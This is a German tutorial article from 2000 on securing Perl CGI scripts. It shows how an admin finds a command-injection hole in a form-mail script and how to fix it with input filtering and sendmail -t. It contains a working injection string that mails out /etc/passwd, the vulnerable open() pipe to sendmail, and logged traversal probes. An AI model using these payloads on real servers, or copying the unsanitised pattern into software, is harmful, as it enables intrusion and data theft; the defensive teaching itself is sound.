CGI Security / Sichere CGI-Skripten – Eine Einführung
5. April 2000 von xwolf | kein Kommentar
1. Allgemeines
Die Programmierung von CGI-Skripten und -Programmen ist im Prinzip nicht schwerer als die von ganz normalen Programmen, die nicht das Common Gateway Interface benutzen. So ist die Wahl der Programmiersprache in der Regel nicht eingeschränkt (sieht man von den Einschränkungen bzgl. dem Betriebssystem und/oder den Provider ab) und wenn man nur etwas im Internet sucht, findet man zu quasi jeder Sprache Beispiele und Ressourcen.
Lange Zeit war die CGI-Programmierung die Aufgabe von wenigen Webmastern oder Systemadministratoren. Die Provider ließen in der Regel keine Benutzereigenen Skripten auf Ihren Server zu und wenn, dann gegen entsprechenden Aufpreis.
Heutzutage jedoch ist die Situation grundlegend verändert: Ein CGI-Verzeichnis gehört zum Standard von fast jedem kommerziellen Webspace-Angebot und die Zahl der Skript-Archive im Netz nimmt immer weiter zu.
Hiermit verbunden ist die Entwicklung, daß immer mehr Skripten auftauchen, welche zum Teil grobe Sicherheitslöcher haben. Dies nicht nur bei den kostenlosen, sondern auch bei den kommerziellen Skripten. Das Bulletin Board System der Infopop Corp. welches im März 2000 in der Security-Mailingliste BugTraq zu trauriger Berühmtheit gelangte, ist nur ein Beispiel von vielen. Dabei ist das Sicherheitsloch im UBB auch aus anderer Sicht ein interessantes Beispiel: Es zeigt auf, wie leicht viele Leute sich im Netz durch bekannte Namen oder große Dienste einlullen lassen; Selbst wenn der Code als Open Source vorliegt, schauen kaum Leute rein und prüfen diesen. So wurde ein Umfrageskript, welches auf dem bekannten CGI-Archiv The CGI Resource Index lag, über 750 mal von unterschiedlichen Personen im Ranking bewertet, aber nicht einer bemerkte das Sicherheitsloch, welches Hackern Tür und Tor öffnete.
In den meisten Fällen beruhen die Sicherheitslöcher auf folgende Aspekte:
- Unsaubere Programmierung,
- Unkenntnis der Sicherheitsprobleme,
- eine ‘lachse’ Grundhaltung (“Wer sollte schon bei mir einhacken?”),
- Geldgier von Archiv-Betreibern (Die große Anzahl der Skripten zählt. Alles andere ist unwichtig).
Was benötigt wird, ist eine Sensibilisierung der Webmaster und Sitebetreiber, die solche Skripten einsetzen in Bezug auf Sicherheitsaspekte. Dies erfordert aber auch eine Möglichkeit zur Einteilung der Sicherheitsaspekte, derren Gründe und Folgen.
Auf der folgenden Seite werden wir eine solche Einteilung vornehmen. Danach gehen wir anhand der Programmiersprache Perl ins Detail und zeigen anhand von Beispielen die typischen Fehler und Probleme.
2. Klassifikation von CGI-Programmen
Die folgende Auflistung definiert eine Klassifikation für CGI-Programme. Sie basiert auf die Auswirkungen, die eine möglicherweise vorhandene Sicherheitslücke haben kann und deren Gefährdungspotential.
Die Gefährdung des Webservers durch Prozessorlasten aufgrund von massenhaften Zugriffen werden nicht berücksichtigt, da dies nur indirekt ein Problem für CGI-Programme ist und den Server auch ohne ein solches Programm beeinträchtigt. Ebenso unberücksichtigt sind benutzerbezogene Sicherheitsprobleme, die auf mangelnde Kenntnisse des Systemadministrators oder des Benutzers auf einem Server zurückgehen. (Beispiel: Benutzer, die ihre Skripte global schreibbar machen, bzw. Provider, die dies empfehlen.)
|
Analyse fremder Programme
Um sicher programmieren zu können, muß man wissen, was unsicher ist und was nicht, und man sollte mindestens halbwegs eine Ahnung haben, wie jemand versuchen könnte, das Skript auszutricksen und für die eigenen Zwecke zu mißbrauchen.
Anstelle jetzt die üblichen Phrasen zu zitieren, wie man programmieren sollte und was zu beachten ist, gehen wir das Problem von der anderen Richtung her an: Wie stelle ich Sicherheitslücken in einem CGI-Programm fest?
Im Folgendem werd ich anhand dieses Ansatzes und von Beispielen beschreiben, wie vorzugehen ist. Ich möchte aber betonen, das dies keine Anleitung zum Hacken sein soll. Vielmehr ist es so, daß niemand sich wirklich Systemadministrator oder Webmaster nennen sollte, der/die nicht diese grundsätzlichen und einfachen Möglichkeiten kennt und entsprechend berücksichtigt.
Gehen Sie immer von dem Grundsatz aus, daß wenn es Lücken im Sicherheitskonzept gibt, diese früher oder später auch gefunden werden. Als SysAdmin haben Sie deswegen nur 2 Möglichkeiten: Entweder Sie beseitigen alle Sicherheitslücken, inklusive derer, die Sie noch garnicht kennen, oder Sie hacken Ihr eigenes Skript bevor es jemand anders tut.
Oberflächlicher Check
Als SysAdmin eines Hosts mit mehreren Benutzern kann man nicht immer wissen, was diese gerade mal wieder programmiert haben und wo sie es ggf. hingetan haben. Wenn einer der Benutzer oder ein Seitenbesucher ein Problem hat, dann wird in der Regel nur die URL als Info gegeben. Bevor man also dran geht und lokal ins Skript reinschaut, kann man schonmal ueber die URL schauen, was los ist.
Angenommen auf der betreffenden Seite findet sich ein Formular mit folgendem HTML-Code:
...
<form method=post action=xxxxmail.cgi>
E-Mail: <input type=text name=email><br>
Name: <input type=text name=name><br>
Telefon: <input type=text name=telefon><br>
Kommentar: <input type=text name=kommentar><br>
<input type=submit name=submit value=Ok>
</form>
...
Durch den Kontext des Formulares erfahren wir außerdem, daß der Autor der Webseite hier eine Feedback-Seite aufgebaut hat und einfach um ein kurzes einzeiliges Kommentar bittet.
Ohne das wir erst versuchen uns das Skript zu besorgen und zu wissen was es macht, sehen wir, das in den Eingabefeldern email und telefon erwartet wird, daß dort zum einen eine gültige E-Mail-Adresse, zum anderen eine gültige Telefonnummer mit den entsprechenden Syntaxi eingegeben wird.
Bei name und kommentar wird lediglich ein String erwartet, der sieht man vom Namen ab, eine beliebige Syntax haben könnte. Da nicht zu erwarten ist, daß jemand bei einem einfachen Feedback-Kommentar Namen und Kommentar nutzt um irgentwelche Operationen auszuführen, ignorieren wir diese Felder erstmal.
Weiterhin ist anzunehmen, daß das Skript richtig funktioniert, wenn es nur Werte bekam, wie sie vom Programmierer erwartet wurden. (Wenn dem nicht so ist, ist das Skript einfach falsch und unsere Aufgabe als SysAdmin besteht darin, daß Programm zu sperren und den Programmierer zurück zur Werkbank zu schicken.)
Nachdem wir das Skript einmal mit richtigen Werten getestet haben, sehen wir, daß das Skript uns eine E-Mail zusendete, worin sich für den Feedback bedankt wurde.
Was haben wir erfahren? -Das das Skript zumindest die von uns eingegebene E-Mail-Adresse benutzte um damit eine Systemoperation zu starten!
Eine gültige E-Mail sieht aus wie eines der folgenden Beispiele:
bla@fasel.fu, bla.fasel@blubber.de, fo@bar.fasel.fu, bla.fasel@bar.fasel.fu, ...
Eine E-Mail-Adresse kann aus den Zeichen [a-zA-Z0-9\.\-\@] aufgebaut sein und muß einen gültigen Servernamen hinter dem @ aufweisen. Mehrere Punkte oder Bindestriche dürfen nicht aufeinander folgen und das @ darf nur einmal vorkommen. (Siehe auch: RFC821)
Das obige Programm wird im schlechtesten Fall die E-Mail-Adresse überhaupt nicht auf ihre Syntax überprüfen. Aber nehmen wir ruhig an, der Programmierer hat folgenden in Perl häufig verwendeten Ausdruck zur Syntaxprüfung eingebaut:
...
if ($email !~ m/.*\@.*\..*/i) {
print "Content-type: text/html\n\n"
print "Die E-Mail-Adresse hatte eine falsche Syntax.\n";
exit;
}
...
Hier, wie bei den meisten Formmail-Programmen, wird aber nur geprüft, ob in dem als E-Mail-Adresse übergebenen String auch vom Format her eine solche vorhanden ist. Es wird nicht geprüft, ob dort nicht Sachen drin sind, die da nichts zu suchen habe.
Was passiert also wenn wir z.B. folgendes als E-Mail-Adresse angeben:
Die obige Syntaxprüfung würde feststellen, daß im String eine gültige E-Mailadresse auftaucht und danach dann die Dankesmail schicken. Nur: Wenn der Programmierer keinen weiteren Schutz eingebaut hat, der Code also folgendermaßen ausschaut
...
if ($email !~ m/.*\@.*\..*/i) {
print "Content-type: text/html\n\n"
print "Die E-Mail-Adresse hatte eine falsche Syntax.\n";
exit;
}
open(MAIL,"/usr/sbin/sendmail $email");
print MAIL "From: anfaenger\@dumpfbacke.org\n";
...
dann passiert folgendes: Das Skript wird zuerst die nette Dankesmail schicken und dann das Systemkommando ausführen, welches wir mitgegeben haben, nämlich uns die Passwort-Datei schicken. Natürlich ist dies noch ein harmloses Beispiel, auch wenn es meiner Meinung nach schon den Straftatbestand der Erschleichung von fremden Daten erfüllt (Paragraph 202a StGB). Weit kritischer wird es, wenn jemand Systemkommandos wie rm -Rf oder /usr/bin/term -display irgentwo:0.0 ausführen kann. In diesem Fall können und sollen die Paragraphen 303a StGB (Datenveränderung) und/oder Paragraph 303b StGB (Computersabotage) greifen.
Glauben Sie nicht, niemand würde über diese oder andere bekannte Sicherheitslücken versuchen auf Ihr System zuzugreifen! Überzeugen Sie sich selbst, indem Sie ein grep zum Beispiel nach dem String /etc/passwd auf Ihre access.log-Datei machen. Hier ein kleiner Auszug, was Sie möglicherweise auch bei sich finden werden:
62.158.247.*** - - [18/Mar/2000:17:09:04 +0100] "GET //etc/passwd HTTP/1.0" 404 164 "-" 62.158.247.***- - [18/Mar/2000:17:09:27 +0100] "GET ../../../../../../etc/passwd HTTP/1.0" 400 164 "-" "-" ... 62.158.181.*** - - [17/Apr/2000:03:02:36 +0200] "GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60 HTTP/1.0" 404 169 "-" ... 62.156.17.*** - - [24/Apr/2000:15:48:16 +0200] "GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60 HTTP/1.1" 404 181 "-" ... 62.157.56.*** - - [25/Apr/2000:15:39:51 +0200] "GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60 HTTP/1.1" 404 181 "-" ...
(Bei dem von mir betreuten Server bewirkt übrigens jeder Versuch dieser Art eine sofortige automatische Mail an den Sicherheitsverantwortlichen. Nebenbei waren obige Versuche das rumspielen von Skript-Kiddies, die nichtmal in der Lage waren, ihre Dialins zu maskieren. Bei einem schlechtgelaunten Sicherheitsverantwortlichen hätten diese Versuche zu einer Anzeige geführt und dies wiederum zu einer Beschlagnahme des PC’s durch die Polizei zur Untersuchung der Festplatte…)
Torture-Skripten
Eine andere, wenn auch etwas brutale, Methode unsichere Parameter herauszubekommen, ist der Einsatz eines Torture-Skriptes. Dabei handelt es sich um ein Skript, das dem zu prüfenden Programm mehrere Hundert Anfragen mit unterschiedlichen zufällig erzeugten Strings übergibt und die Reaktion des Programmes speichert.
In seinem Buch “Web Security” gibt Lincoln Stein ein Beispiel wie ein Torture-Skript aussehen kann. Im Prinzip ist die Erstellung eines solchen Skriptes für einen guten Perlprogrammierer eine Sache von wenigen Minuten. Und anstelle das man wie bei Stein das Skript mit rein zufälligen Strings traktiert, wäre es auch nicht sonderlich schwer, das Skript so zu modifizieren, daß es ausgewählte Parameter benutzt, die dann nur Zufallsstrings aus einer bestimmten Familie an Zeichenkombinationen ergeben.
So würde man bei obigem Skript angeben, das die Parameter name, email, kommentar, telefonnummer nutzbar sind, wobei der Parameter email vom Typ einer E-Mail ist und telefon vom Typ einer Zahl, zzgl. den Zeichen “+”, “-” und “/”.
Das Skript würde dann gezielt versuchen, die ihm nun bekannten Daten zu nutzen und die üblichen Sicherheitsprobleme auszuspielen, es würde nicht seine Zeit mit dem Senden von zufääligen Strings vom Typ [a-zA-z0-9] verschwenden bei einem Parameter, wo klar ist, daß dort der Teststring als E-Mail-Adresse getarnt werden muß.
Bisher waren wir nur beim Analysieren ohne das wir wirklich den Programmcode gesehen haben. Wenn wir der SysAdmin sind, sollte es auch keine Probleme machen, wenn wir die obigen Beispiele durchtesten um zu sehen, ob wir wirklich Zugriff zum System erhalten. Sind wir jedoch nicht der SysAdmin des betroffenen Systems sollten wir das Testen entweder ganz unlassen, wurden wir nicht dazu aufgefordert, oder nur so vorgehen, daß der Fehler aufgedeckt wird, ohne das wir einen Schaden anrichten.
Im folgenden Kapitel werden wir versuchen, Informationen über das bisher unbekannte Skript über das Netz zu erhalten.
Informationen aus dem Netz holen
Programmierer sind faule Menschen. Wenn es keinen -für den Programmierer!- guten Grund gibt, wird er/sie in der Regel kein Programm neu schreiben, welches es schon gibt. Scott Adams, der Autor von Dilbert drückt es seiner kurzgefassten Evolutionstheorie so aus:
Nicht anders läßt es sich erklären, daß die meisten CGI-Skripten kostenlose Kopien sind, die man aus irgenteinem Archiv heruntergeladen hat.
Wenn man nach Informationen zu einem CGI-Skript sucht, dann gibt es mehrere Möglichkeiten. Zum einen kann man die besagten Archive, wie z.B. The CGI-Resource Archiv durchsuchen. Zum anderen tut es auch eine normale Suchmaschine, jedoch hat dies meist den Nachteil, daß man dort oft nur von Links zu anderen Seiten, die das CGI auch einsetzen, erschlagen wird, jedoch den Download-Link leicht übersieht. Eine andere gute Quelle betreffend Sicherheitsprobleme bzgl. CGI-Skripten sind diverse Security-Listen, wie z.B. BugTraq.
Für das oben angegebene Skript, dessen Namen wir aus dem Wert von <form action=”"> erhielten, findet sich dann auch über The CGI-Resource Archiv ein entsprechender Eintrag der zum Autor und zu einem Download des Skriptes führt.
Wenn wir zudem auch noch Informationen über die Unsicherheit des Skripten finden, dann sind wir als SysAdmins aus dem Schneider: Wir brauchen selbst nichts mehr zu machen (außer ggf. die Versionsnummer zu kontrollieren) als das Skript zu löschen und denjenigen der es auf dem Server installierte den Kopf abzureißen…
(Anmerkung: Sollte es Ihr Vorgesetzter oder Ihr Ehepartner gewesen sein, überlegen Sie sich was anderes!)
Finden sich keine Hinweise bzgl. der Sicherheit, sondern nur das Skript, dann sollten Sie es sich ggf. nun laden und dann lokal analysieren, indem Sie sich den Code anschauen. In dem folgenden Kapitel 4 gehen wir darauf genauer ein.
4. Analyse lokaler Programme
Im folgendem beschreiben wir die Bug-Suche in einem bestehenden Programm von dem wir wissen wollen, ob es sicher ist, oder nicht. Ausgegangen wird dabei von einem UNIX-System, da nur unter solchen Systemen ein Mindestmaß an Sicherheit gewährleistet ist und die Mehrzahl aller professionellen Webserver unter dem Apache/Unix-Mix arbeiten.
Oberflächliche Analyse
Bei der ersten, oberflächlichen Analyse schauen wir uns gezielt die Funktionen im Programm an, wo ein Sicherheitsloch auftreten könnte. Diese sind bei Perl:
- Systemaufrufe mit open, system, eval, exec, ` `
- Eingebundene Systemaufrufe durch fremde Perlmodule
- Benutzerspezifische eingebundene Routinen
Angenommen, wir durchsuchen das oben bereits genutzt Feedback-Programm, so kann die Analyse folgendermßen aussehen:
|
Nach der Suche nach open(), müssten wir nun eigentlich auch nach den anderen Systemaufrufen suchen. Da wir aber in dem Aufruf open(SM, “|$mail $in{‘email’}”); einen Anfangsverdacht haben, schauen wir uns zuerstmal an, wie der Hash %in gebildet wird.
Sollten wir feststellen, daß in der Subroutine getcgi kein Parsing nach gefährlichen Sonderzeichen geschieht, haben wir eine Sicherheitslücke dingfest gemacht und wir brauchen uns nicht mehr um den Rest zu kümmern, sondern das Programm gleich sperren.
Code-Analyse
Wenn wir das Programm mit einem Editor/Viewer öffnen finden wir folgenden Code für die Subroutine getcgi:
sub getcgi {
local($in, %in);
local($name, $value);
# If REQUEST_METHOD is POST, use CONTENT_LENGTH. Else, use QUERY_STRING.
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
if ($ENV{'CONTENT_TYPE'}=~ m#^application/x-www-form-urlencoded#i) {
read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
}
}
else {
$in= $ENV{'QUERY_STRING'};
}
# Resolve and unencode name/value pairs into %in
foreach (split('&', $in)) {
s/\+/ /g;
($name, $value)= split('=', $_, 2);
$name=~ s/%(..)/sprintf("%c",hex($1))/ge;
$value=~ s/%(..)/sprintf("%c",hex($1))/ge;
@order_array = (@order_array,$name);
$in{$name}.= $value;
}
return %in;
}
Beim obigen Code handelt es sich um eine Standard-Routine für das Einlesen von Parametern, die über das Netz kommend, dem Programm übergeben werden. Die erste if()-Abfrage dient lediglich dazu, die Parameter in eine Variable $in zu schieben, egal ob als Übertragungsmethode GET oder POST verwendet wurde.
Danach wird diese Variable aufgesplittet und Sonderzeichen, die durch die Übertragung codiert waren, wieder hergestellt. Im Ende der foreach-Schleife wird der jeweilige Parameter in das Hash geschoben.
Was wir in dem Code nicht sehen ist eine Schleife oder ein regulärer Ausdruck, in der etwaige Sonderzeichen gelöscht werden. In anderen Worten: Eine beliebige Hash-Variable, wie z.B. $in{‘email’} hat genau den Inhalt, welcher im Eingabeformular (oder bei der GET-Methode in der URL-Zeile) eingegeben wurde, inklusive aller Sonderzeichen.
Wie wir also im Kapitel 3. Analyse fremder Programme bereits angetestet haben, erfährt nun seine Bestätigung: Sollte jemand als E-Mail-Adresse einen Ausdruck wie
nospam@fasel.com| mail bla@fasel.com < /etc/passwd
eingeben, würde dies zum Erfolg führen, die Passwortdatei würde frei Haus und ohne Trinkgeld geliefert werden.
Korrektur
Als SysAdmin ist man leider nicht so häufig in der Rolle eines B.O.f.H., wo man unsichere Programme von Nutzern einfach löschen kann. Viel eher wird es so kommen, daß man den Benutzer erklären muß wie der entsprechende Code zu reparieren sei oder man muß es selbst tun (-vielleicht auch deswegen weil man selbst der Schuldige war).
Oft, wie in diesem Fall auch, sind es nur wenige Zeilen die geändert werden müssen um das Programm sicher zu machen. Wir kommen damit wieder zurück zu den gleichen -hoffentlich bekannten- Hinweisen für die Programmierung sicherer CGI-Skripts:
- Aufruf von Perl bzw. von Perlvariablen im Tainted Modus Behandeln Sie grundsätzlich jede Variable die in irgenteiner Form von einem Benutzer übers Netz gesteuert ist wie ein rohes Ei, gefüllt mit einer Mischung aus Nitro und Flußwassercola.
- Halten Sie sich auf den laufenden was Meldungen von Sicherheitsbugs betrifft und bewahren bleiben Sie selbstkritisch: Jeder, inklusive mir selbst, macht mal Fehler, ist mal abgelenkt oder übersieht mal etwas. Ein gesundes Maß an Selbstüberschätzung ist mitunter gut -hier ist es tödlich.
- Kommentieren Sie ihr Skript so aus, daß jemand anders sich auch darin zurecht findet und erfährt was das Skript an dieser oder jener Stelle macht. Seien Sie jedoch auch nicht zu genau. Programme, bei denen durchweg auf 1 Zeile Programmcode mehr als 3 Zeilen Erklärung kommen, sind ebensoschlimm (für einen Profi sogar schlimmer), wie eines, welches keine Kommentare enthält.
- Sollten Sie einmal ein Skript aus dem Netz holen wollen, lassen Sie die Finger von Skriptarchiven, wo nur ein Downloadlink ohne weitere Informationen, insbesondere ohne Link zum Autor und/oder Versionnummer, zum Skript vorhanden sind. Solche billigen CGI-Archive, die meistens nur der Werbebannerabzocke dienen, sind einer der Hauptgründe, warum unsichere Skripten noch nach Jahren vorhanden sind und genutzt werden.
- Aufruf von von sendmail nur im Modus “-t”, da dieser Argumente in der Argumentliste unterdrückt.
- Soweit möglich, bauen Sie ein CGI-Wrapper ein.
- Falls Dateinamen übers Netz gegeben werden müssen und diese Dateien dann geöffnet werden sollen, dann nur in unterhalb ausgewählter Verzeichnisse, aber niemals so, daß ein Verzeichniswechsel möglich ist oder die Dateien gar auf das Root-Verzeichnis zugreifen können. Bei einem Dateinamen sollten Sie nur die Zeichen [a-zA-Z0-9\-\._] erlauben.
- Parsen aller Variablen, die an Systemaufrufen beteiligt sind. In dem obrigen Fall von der Variable $in{‘email’} mit: $in{‘email’} =~ s/[^a-zA-Z0-9\-\@\.]//g;. Der Nachteil hiervon besteht allerdings, daß man durch diese Methode zwar eine gültige E-Mailsyntax hat, jedoch nicht feststellt, ob wirklich Sonderzeichen in der E-Mailangabe vorhanden waren.
Zum letzten Punkt: Da wir gern wissen wollen, wenn jemand etwas Böses versucht, sollten wir uns ggf. die E-Mailadresse einer neuen Variable zuweisen, aus dieser dann alle Sonderzeichen löschen, die nichts in einer E-Mail zu suchen haben und dann beiden Strings vergleichen.
Folgendes kleines Perl-Beispiel zeigt wie man vorgehen könnte:
#!/local/bin/perl
$mail = $ARGV[0];
$old = $mail;
print "Input:\n\t$mail\n\n";
if ($mail !~ m/.*\@.*\..*/i) {
print "Wrong Syntax for E-Mail\n";
exit;
}
print "hehehe..my mail is looking ok.\n";
print "Someone else would now use it to send an email 
\n\n";
print "Ok, now parse all illegal signs:\n";
$mail=~ s/[^a-zA-Z0-9\@\.]//g;
print "\t$mail\n\n";
print "Lets check again...\n";
if ($mail !~ m/.*\@.*\..*/i) {
print "Wrong Syntax for E-Mail\n";
exit;
}
print "Ok, the email got through, but look at it: \n\t$mail\n\n";
if (length($old) != length($mail)) {
print "The given email is not as long as the parsed one.\n";
print "I think this is a good sign that someone tried to do something evil \n";
} else {
# Now we can send an email!
}
Ruft man das Skript nun auf mit perl test.pl “bkla@jkhxf.com|/bla/fasel” wird in der letzten Zeile der Unterschied gemerkt und darauf hingewiesen, wärend eine korrekte E-Mail-Adresse auch als solche durchgeht.
Bemerkung
Bei dem herangezogenen Skriptbeispiel für das unsichere Feedback-Programm handelt es sich um ein reales Beispiel. Das Skript konnte bei der Erstellung dieses Artikels so wie es hier teilweise angegeben wurde über dessen Homepage und vom CGI-Resource Archiv geladen werden.
Da das Skript laut Download-Rating der Homepage bereits mehrere Hundert Male geladen und möglicherweise eingesetzt wurde, und wird, hab ich mich entschloßen aus naheliegenden Gründen den wahren Namen bis auf weiteres zu maskieren.
5. Referenzen
Bücher und Online-Referenzen
Folgende Links und Buchreferenzen halfen besonders bei der Erstellung dieses Artikels. Bitte beachten Sie, daß ich mich bei den Online-Referenzen auf den Seiteninhalt von April/Mai 2000 beziehe und keinen Einfluß über etwaige Seitenänderungen habe.
- Apache Webserver, http://www.apache.org
- BugTraq, http://msgs.securepoint.com/bugtraq/
- CGI/Perl Taint Mode FAQ, http://gunther.web66.com/FAQS/taintmode.html
- I-Netlab, http://www.i-netlab.de/
- TeamONE SelfHTML Forum, http://selfforum.teamone.de
- The Dilbert Principle, Scott Adams, Boxtree, ISBN 0 7522 2470 0
- The CGI Resource Index, http://www.cgi-resources.com
- The World Wide Web Security FAQ, http://www.w3.org/Security/faq/
- Web Security, Lincoln Stein, Addison Wesley, ISBN 0 201 63489 9
Dank
Besonderen Dank für die Mithilfe bei der Erstellung des Artikels geht an die folgenden Personen:
- Rolf Rost, www.i-netlab.de
- Gregor Longariva, fun.softbaer.de
- Peter Meyns, www.meynsweb.de
